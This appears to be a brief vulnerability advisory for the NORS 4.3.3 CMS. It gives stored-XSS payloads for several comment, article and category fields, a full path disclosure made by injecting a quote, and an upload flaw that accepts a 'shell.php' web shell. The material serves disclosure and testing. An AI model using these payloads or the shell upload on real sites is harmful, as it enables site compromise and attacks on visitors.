NORS 4.3.3 Multiple Vulnerabilities

CMS: NORS 4.3.3
Bug: Multiple Vulnerabilities
Version: public
URL: http://norsphp.com/get/4.3.3/zip/
Author: RubberDuck
Found Date: 03-02-10
Publication Date: 06-02-10

Permanent XSS PoC - Přidat komentář

Uživatelské jméno - SecIT
www - www.security-portal.cz">eSPecko</a><br><script>alert(/RubberDuck/)</script><a href="http://www.secit.sk

Permanent XSS PoC - Přidat článek

http://localhost/nors_v4.3.3/administration/content/?event=post&command=add

Název - <script>alert(/RubberDuck/)</script>

This affects another sections:
http://localhost/nors_v4.3.3/administration/content/?event=comment&comma...

Text - <script>alert(/RubberDuck/)</script>

Popisek - xxx"></a><a href="http://www.security-portal.cz">Security-Portal</a><script>alert(/RubberDuck/)</script><a href="http://www.security-portal.cz

Persistent XSS - Rubriky

http://localhost/nors_v4.3.3/administration/content/?event=category&comm...

Název - <script>alert(/RubberDuck/)</script>

This affects another sections working with categories:

http://localhost/nors_v4.3.3/administration/content/?event=category&comm...
http://localhost/nors_v4.3.3/administration/content/?event=category&comm...
http://localhost/nors_v4.3.3/administration/content/?event=post&command=add

Full Path Disclosure - administration

http://localhost/nors_v4.3.3/administration/content/?event=post'&command=add

Unsecure Image Upload - Přidat článek

http://localhost/nors_v4.3.3/administration/content/?event=post&command=add

Obrázek - shell.php

http://localhost/nors_v4.3.3/upload/